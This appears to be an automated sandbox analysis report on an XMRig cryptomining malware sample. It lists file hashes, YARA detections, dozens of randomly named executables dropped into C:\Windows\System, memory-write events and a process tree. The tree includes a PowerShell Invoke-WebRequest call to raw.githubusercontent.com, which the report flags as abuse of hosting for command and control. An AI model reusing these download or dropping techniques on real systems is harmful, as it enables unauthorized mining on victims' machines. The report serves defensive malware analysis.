xmrig | a1c797e3d6805c140e774142866937b2a5f922afdc6caedc23574c0a479e150d

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
01/05/2024, 16:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
Size

1.8MB
MD5

0c460dcb75e5b2fca5a415b2981adf76
SHA1

f26e80a90e521d14012c424896a8afa6672d7dca
SHA256

a1c797e3d6805c140e774142866937b2a5f922afdc6caedc23574c0a479e150d
SHA512

b67e94ce4d40a81ebda76ecea24964facb8fad91aafee8ff735d903a648946a8b4f7e5842fa835ec6dc8f1bb9cf432e6b99f07dad5604fcbaa942e0886168fc1
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82SflDrl6:NABF

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 25 IoCs

miner

resource	yara_rule
behavioral2/memory/228-71-0x00007FF7C4D10000-0x00007FF7C5102000-memory.dmp	xmrig
behavioral2/memory/3380-85-0x00007FF613990000-0x00007FF613D82000-memory.dmp	xmrig
behavioral2/memory/5020-93-0x00007FF6B5050000-0x00007FF6B5442000-memory.dmp	xmrig
behavioral2/memory/3804-99-0x00007FF618670000-0x00007FF618A62000-memory.dmp	xmrig
behavioral2/memory/1452-109-0x00007FF7624D0000-0x00007FF7628C2000-memory.dmp	xmrig
behavioral2/memory/3840-113-0x00007FF69D070000-0x00007FF69D462000-memory.dmp	xmrig
behavioral2/memory/2456-115-0x00007FF7CDAF0000-0x00007FF7CDEE2000-memory.dmp	xmrig
behavioral2/memory/3216-114-0x00007FF768590000-0x00007FF768982000-memory.dmp	xmrig
behavioral2/memory/2404-112-0x00007FF72AF60000-0x00007FF72B352000-memory.dmp	xmrig
behavioral2/memory/2064-111-0x00007FF7E27F0000-0x00007FF7E2BE2000-memory.dmp	xmrig
behavioral2/memory/4032-110-0x00007FF772560000-0x00007FF772952000-memory.dmp	xmrig
behavioral2/memory/4816-108-0x00007FF717390000-0x00007FF717782000-memory.dmp	xmrig
behavioral2/memory/2572-107-0x00007FF6FBD70000-0x00007FF6FC162000-memory.dmp	xmrig
behavioral2/memory/3772-102-0x00007FF6F1E60000-0x00007FF6F2252000-memory.dmp	xmrig
behavioral2/memory/3504-98-0x00007FF7CA690000-0x00007FF7CAA82000-memory.dmp	xmrig
behavioral2/memory/3232-81-0x00007FF6B17D0000-0x00007FF6B1BC2000-memory.dmp	xmrig
behavioral2/memory/3132-44-0x00007FF673D30000-0x00007FF674122000-memory.dmp	xmrig
behavioral2/memory/3616-244-0x00007FF781DB0000-0x00007FF7821A2000-memory.dmp	xmrig
behavioral2/memory/2196-230-0x00007FF7E0330000-0x00007FF7E0722000-memory.dmp	xmrig
behavioral2/memory/2020-197-0x00007FF7D1E50000-0x00007FF7D2242000-memory.dmp	xmrig
behavioral2/memory/3436-572-0x00007FF6B72E0000-0x00007FF6B76D2000-memory.dmp	xmrig
behavioral2/memory/4928-561-0x00007FF6E3DB0000-0x00007FF6E41A2000-memory.dmp	xmrig
behavioral2/memory/1712-3886-0x00007FF724080000-0x00007FF724472000-memory.dmp	xmrig
behavioral2/memory/2196-6711-0x00007FF7E0330000-0x00007FF7E0722000-memory.dmp	xmrig
behavioral2/memory/4048-6745-0x00007FF628450000-0x00007FF628842000-memory.dmp	xmrig

Blocklisted process makes network request 6 IoCs

flow	pid	Process
8	1932	powershell.exe
10	1932	powershell.exe
12	1932	powershell.exe
13	1932	powershell.exe
15	1932	powershell.exe
20	1932	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1452	WnMOOHA.exe
3132	LxpZBbX.exe
228	ffWujLv.exe
4032	xDYIxqf.exe
3232	UOchNWP.exe
3380	baZuLkj.exe
5020	qidUpOf.exe
2064	BuMRMZf.exe
2404	IEVvlPT.exe
3504	oaShjwH.exe
3804	VsAnHSQ.exe
3772	jIaeyyf.exe
3840	SyKgRtf.exe
2572	ckTNuQd.exe
3216	HYGZKlT.exe
2456	OCjhFsR.exe
4816	vZElegu.exe
1712	fuvEDbw.exe
2196	orCNaZu.exe
2020	UCJiWBw.exe
4048	HZjncjt.exe
4928	qHlIuSv.exe
3616	GnEvfch.exe
3436	gvLVQkH.exe
3624	IFmnzMv.exe
2484	uzdzdRT.exe
2092	DCakOow.exe
1392	rvdnMCi.exe
672	qiMEdGa.exe
3756	AieAQlD.exe
3144	sZAtYiI.exe
5064	xvjJMuI.exe
4192	KXPIJqx.exe
948	TCettiA.exe
1208	EqNqsVG.exe
848	eXJUGVK.exe
1256	gPyaeLg.exe
1292	JDUguHA.exe
5072	MHHswaW.exe
4028	GIBUODK.exe
1124	iuVzGBO.exe
2036	JFVYKKx.exe
3676	gZCRtVW.exe
1772	ZnZnWcq.exe
1100	LkkuOhK.exe
4452	oPlmTTh.exe
4988	kezfnQN.exe
1876	ioBSEfD.exe
4296	kCbqmod.exe
2032	EvfAgKm.exe
5140	YqjHKMl.exe
5184	FFsMeqx.exe
5208	wuKpwDk.exe
5248	cZJWRIn.exe
5280	XuFoIvZ.exe
5308	jenbLKf.exe
5360	ADLEusE.exe
5388	lYbMOuT.exe
5440	EuccJAb.exe
5468	SWNxFDo.exe
5508	swNKoyT.exe
5552	TWnMhpd.exe
5576	jwZJjQx.exe
5632	EKBFmtp.exe

UPX packed file 61 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/220-0-0x00007FF787AE0000-0x00007FF787ED2000-memory.dmp	upx
behavioral2/files/0x000d000000023b27-6.dat	upx
behavioral2/files/0x000a000000023b8e-9.dat	upx
behavioral2/files/0x000b000000023b8d-12.dat	upx
behavioral2/files/0x000a000000023b8f-33.dat	upx
behavioral2/files/0x000a000000023b90-39.dat	upx
behavioral2/files/0x000a000000023b94-57.dat	upx
behavioral2/memory/228-71-0x00007FF7C4D10000-0x00007FF7C5102000-memory.dmp	upx
behavioral2/files/0x000a000000023b96-78.dat	upx
behavioral2/memory/3380-85-0x00007FF613990000-0x00007FF613D82000-memory.dmp	upx
behavioral2/memory/5020-93-0x00007FF6B5050000-0x00007FF6B5442000-memory.dmp	upx
behavioral2/memory/3804-99-0x00007FF618670000-0x00007FF618A62000-memory.dmp	upx
behavioral2/files/0x000b000000023b9b-103.dat	upx
behavioral2/memory/1452-109-0x00007FF7624D0000-0x00007FF7628C2000-memory.dmp	upx
behavioral2/memory/3840-113-0x00007FF69D070000-0x00007FF69D462000-memory.dmp	upx
behavioral2/memory/2456-115-0x00007FF7CDAF0000-0x00007FF7CDEE2000-memory.dmp	upx
behavioral2/memory/3216-114-0x00007FF768590000-0x00007FF768982000-memory.dmp	upx
behavioral2/memory/2404-112-0x00007FF72AF60000-0x00007FF72B352000-memory.dmp	upx
behavioral2/memory/2064-111-0x00007FF7E27F0000-0x00007FF7E2BE2000-memory.dmp	upx
behavioral2/memory/4032-110-0x00007FF772560000-0x00007FF772952000-memory.dmp	upx
behavioral2/memory/4816-108-0x00007FF717390000-0x00007FF717782000-memory.dmp	upx
behavioral2/memory/2572-107-0x00007FF6FBD70000-0x00007FF6FC162000-memory.dmp	upx
behavioral2/files/0x000a000000023b9d-105.dat	upx
behavioral2/memory/3772-102-0x00007FF6F1E60000-0x00007FF6F2252000-memory.dmp	upx
behavioral2/files/0x000a000000023b9c-100.dat	upx
behavioral2/memory/3504-98-0x00007FF7CA690000-0x00007FF7CAA82000-memory.dmp	upx
behavioral2/files/0x000a000000023b99-89.dat	upx
behavioral2/files/0x000a000000023b98-86.dat	upx
behavioral2/memory/3232-81-0x00007FF6B17D0000-0x00007FF6B1BC2000-memory.dmp	upx
behavioral2/files/0x000a000000023b97-80.dat	upx
behavioral2/files/0x000a000000023b95-76.dat	upx
behavioral2/files/0x000a000000023b93-47.dat	upx
behavioral2/memory/3132-44-0x00007FF673D30000-0x00007FF674122000-memory.dmp	upx
behavioral2/files/0x000a000000023b91-43.dat	upx
behavioral2/files/0x000a000000023b92-31.dat	upx
behavioral2/files/0x000a000000023b9e-160.dat	upx
behavioral2/files/0x000a000000023bac-181.dat	upx
behavioral2/files/0x000a000000023bb0-180.dat	upx
behavioral2/files/0x0031000000023bb7-202.dat	upx
behavioral2/files/0x0031000000023bb8-235.dat	upx
behavioral2/files/0x000a000000023bbb-245.dat	upx
behavioral2/files/0x000a000000023bc1-253.dat	upx
behavioral2/files/0x000a000000023bc4-274.dat	upx
behavioral2/files/0x000a000000023bc7-285.dat	upx
behavioral2/files/0x000a000000023bcb-297.dat	upx
behavioral2/files/0x000a000000023bce-311.dat	upx
behavioral2/files/0x000a000000023bd2-316.dat	upx
behavioral2/files/0x000a000000023bd1-313.dat	upx
behavioral2/files/0x000a000000023bca-289.dat	upx
behavioral2/memory/3616-244-0x00007FF781DB0000-0x00007FF7821A2000-memory.dmp	upx
behavioral2/files/0x000a000000023bb2-231.dat	upx
behavioral2/memory/2196-230-0x00007FF7E0330000-0x00007FF7E0722000-memory.dmp	upx
behavioral2/files/0x0031000000023bb6-206.dat	upx
behavioral2/memory/4048-199-0x00007FF628450000-0x00007FF628842000-memory.dmp	upx
behavioral2/memory/2020-197-0x00007FF7D1E50000-0x00007FF7D2242000-memory.dmp	upx
behavioral2/memory/1712-191-0x00007FF724080000-0x00007FF724472000-memory.dmp	upx
behavioral2/memory/3436-572-0x00007FF6B72E0000-0x00007FF6B76D2000-memory.dmp	upx
behavioral2/memory/4928-561-0x00007FF6E3DB0000-0x00007FF6E41A2000-memory.dmp	upx
behavioral2/memory/1712-3886-0x00007FF724080000-0x00007FF724472000-memory.dmp	upx
behavioral2/memory/2196-6711-0x00007FF7E0330000-0x00007FF7E0722000-memory.dmp	upx
behavioral2/memory/4048-6745-0x00007FF628450000-0x00007FF628842000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\GNouXWN.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\SwwGWHO.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\jqkyMIh.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\JPtHPVT.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\vCdBcmK.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\kHUrMft.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\DEBNZqI.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\JOEOYsR.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\BbNSLSW.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\TNergPu.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\zmLVJaC.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\couINFj.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\YydBXHn.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\xQQyrbN.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\arOiYZe.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\oWSsQuG.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\ZghcTME.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\qvqWUwd.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\eSbxorX.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\bmGhKtw.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\jxTTJVn.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\UeLaVFm.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\bTJdJFo.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\koUPmJk.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\lKDNYuK.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\QVIlUCf.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\GhJzjTG.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\UcFDlcg.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\scqLTyJ.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\jSKvIVn.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\dzQACIO.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\IilgPbV.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\NfvglLW.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\onWhWbc.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\MYXPdlw.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\flKYJyR.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\xISyDQE.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\QIRkHKc.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\Apdvtle.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\qZNgdNi.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\AcLncwe.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\qoHufYI.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\AXlgZhp.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\MxYxqpJ.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\cpnJecR.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\efZOifJ.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\FYKUgay.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\iRLiIjs.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\boWwHWV.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\MdwCgnA.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\awQcPgW.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\pJlrNOe.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\LbgXLEY.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\MDUMYQa.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\dNtKYHP.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\MBJszhV.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\dwcukTh.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\FpFAPWJ.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\XHEfnlW.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\KVjQFYh.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\msgXRiY.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\AyiyXBp.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\vvyWSib.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
File created	C:\Windows\System\ZccJNLY.exe	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1932	powershell.exe
1932	powershell.exe
1932	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeLockMemoryPrivilege	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 220 wrote to memory of 1932	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	85
PID 220 wrote to memory of 1932	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	85
PID 220 wrote to memory of 1452	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	86
PID 220 wrote to memory of 1452	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	86
PID 220 wrote to memory of 3132	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	87
PID 220 wrote to memory of 3132	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	87
PID 220 wrote to memory of 228	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	88
PID 220 wrote to memory of 228	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	88
PID 220 wrote to memory of 5020	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	89
PID 220 wrote to memory of 5020	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	89
PID 220 wrote to memory of 4032	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	90
PID 220 wrote to memory of 4032	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	90
PID 220 wrote to memory of 3232	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	91
PID 220 wrote to memory of 3232	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	91
PID 220 wrote to memory of 3380	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	92
PID 220 wrote to memory of 3380	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	92
PID 220 wrote to memory of 2064	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	93
PID 220 wrote to memory of 2064	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	93
PID 220 wrote to memory of 2404	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	94
PID 220 wrote to memory of 2404	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	94
PID 220 wrote to memory of 3504	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	95
PID 220 wrote to memory of 3504	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	95
PID 220 wrote to memory of 3804	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	96
PID 220 wrote to memory of 3804	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	96
PID 220 wrote to memory of 3772	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	97
PID 220 wrote to memory of 3772	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	97
PID 220 wrote to memory of 3840	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	98
PID 220 wrote to memory of 3840	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	98
PID 220 wrote to memory of 2572	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	99
PID 220 wrote to memory of 2572	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	99
PID 220 wrote to memory of 3216	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	100
PID 220 wrote to memory of 3216	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	100
PID 220 wrote to memory of 2456	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	101
PID 220 wrote to memory of 2456	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	101
PID 220 wrote to memory of 4816	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	102
PID 220 wrote to memory of 4816	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	102
PID 220 wrote to memory of 1712	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	103
PID 220 wrote to memory of 1712	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	103
PID 220 wrote to memory of 2020	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	104
PID 220 wrote to memory of 2020	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	104
PID 220 wrote to memory of 2196	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	105
PID 220 wrote to memory of 2196	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	105
PID 220 wrote to memory of 4048	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	106
PID 220 wrote to memory of 4048	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	106
PID 220 wrote to memory of 4928	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	107
PID 220 wrote to memory of 4928	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	107
PID 220 wrote to memory of 3616	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	108
PID 220 wrote to memory of 3616	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	108
PID 220 wrote to memory of 3436	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	109
PID 220 wrote to memory of 3436	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	109
PID 220 wrote to memory of 3624	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	110
PID 220 wrote to memory of 3624	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	110
PID 220 wrote to memory of 2484	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	111
PID 220 wrote to memory of 2484	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	111
PID 220 wrote to memory of 2092	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	112
PID 220 wrote to memory of 2092	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	112
PID 220 wrote to memory of 1392	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	113
PID 220 wrote to memory of 1392	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	113
PID 220 wrote to memory of 672	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	114
PID 220 wrote to memory of 672	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	114
PID 220 wrote to memory of 3756	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	115
PID 220 wrote to memory of 3756	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	115
PID 220 wrote to memory of 3144	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	116
PID 220 wrote to memory of 3144	220	0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe	116

C:\Users\Admin\AppData\Local\Temp\0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0c460dcb75e5b2fca5a415b2981adf76_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1932
- C:\Windows\System\WnMOOHA.exe
  C:\Windows\System\WnMOOHA.exe
  2⤵
  - Executes dropped EXE
  PID:1452
- C:\Windows\System\LxpZBbX.exe
  C:\Windows\System\LxpZBbX.exe
  2⤵
  - Executes dropped EXE
  PID:3132
- C:\Windows\System\ffWujLv.exe
  C:\Windows\System\ffWujLv.exe
  2⤵
  - Executes dropped EXE
  PID:228
- C:\Windows\System\qidUpOf.exe
  C:\Windows\System\qidUpOf.exe
  2⤵
  - Executes dropped EXE
  PID:5020
- C:\Windows\System\xDYIxqf.exe
  C:\Windows\System\xDYIxqf.exe
  2⤵
  - Executes dropped EXE
  PID:4032
- C:\Windows\System\UOchNWP.exe
  C:\Windows\System\UOchNWP.exe
  2⤵
  - Executes dropped EXE
  PID:3232
- C:\Windows\System\baZuLkj.exe
  C:\Windows\System\baZuLkj.exe
  2⤵
  - Executes dropped EXE
  PID:3380
- C:\Windows\System\BuMRMZf.exe
  C:\Windows\System\BuMRMZf.exe
  2⤵
  - Executes dropped EXE
  PID:2064
- C:\Windows\System\IEVvlPT.exe
  C:\Windows\System\IEVvlPT.exe
  2⤵
  - Executes dropped EXE
  PID:2404
- C:\Windows\System\oaShjwH.exe
  C:\Windows\System\oaShjwH.exe
  2⤵
  - Executes dropped EXE
  PID:3504
- C:\Windows\System\VsAnHSQ.exe
  C:\Windows\System\VsAnHSQ.exe
  2⤵
  - Executes dropped EXE
  PID:3804
- C:\Windows\System\jIaeyyf.exe
  C:\Windows\System\jIaeyyf.exe
  2⤵
  - Executes dropped EXE
  PID:3772
- C:\Windows\System\SyKgRtf.exe
  C:\Windows\System\SyKgRtf.exe
  2⤵
  - Executes dropped EXE
  PID:3840
- C:\Windows\System\ckTNuQd.exe
  C:\Windows\System\ckTNuQd.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\HYGZKlT.exe
  C:\Windows\System\HYGZKlT.exe
  2⤵
  - Executes dropped EXE
  PID:3216
- C:\Windows\System\OCjhFsR.exe
  C:\Windows\System\OCjhFsR.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\vZElegu.exe
  C:\Windows\System\vZElegu.exe
  2⤵
  - Executes dropped EXE
  PID:4816
- C:\Windows\System\fuvEDbw.exe
  C:\Windows\System\fuvEDbw.exe
  2⤵
  - Executes dropped EXE
  PID:1712
- C:\Windows\System\UCJiWBw.exe
  C:\Windows\System\UCJiWBw.exe
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Windows\System\orCNaZu.exe
  C:\Windows\System\orCNaZu.exe
  2⤵
  - Executes dropped EXE
  PID:2196
- C:\Windows\System\HZjncjt.exe
  C:\Windows\System\HZjncjt.exe
  2⤵
  - Executes dropped EXE
  PID:4048
- C:\Windows\System\qHlIuSv.exe
  C:\Windows\System\qHlIuSv.exe
  2⤵
  - Executes dropped EXE
  PID:4928
- C:\Windows\System\GnEvfch.exe
  C:\Windows\System\GnEvfch.exe
  2⤵
  - Executes dropped EXE
  PID:3616
- C:\Windows\System\gvLVQkH.exe
  C:\Windows\System\gvLVQkH.exe
  2⤵
  - Executes dropped EXE
  PID:3436
- C:\Windows\System\IFmnzMv.exe
  C:\Windows\System\IFmnzMv.exe
  2⤵
  - Executes dropped EXE
  PID:3624
- C:\Windows\System\uzdzdRT.exe
  C:\Windows\System\uzdzdRT.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\DCakOow.exe
  C:\Windows\System\DCakOow.exe
  2⤵
  - Executes dropped EXE
  PID:2092
- C:\Windows\System\rvdnMCi.exe
  C:\Windows\System\rvdnMCi.exe
  2⤵
  - Executes dropped EXE
  PID:1392
- C:\Windows\System\qiMEdGa.exe
  C:\Windows\System\qiMEdGa.exe
  2⤵
  - Executes dropped EXE
  PID:672
- C:\Windows\System\AieAQlD.exe
  C:\Windows\System\AieAQlD.exe
  2⤵
  - Executes dropped EXE
  PID:3756
- C:\Windows\System\sZAtYiI.exe
  C:\Windows\System\sZAtYiI.exe
  2⤵
  - Executes dropped EXE
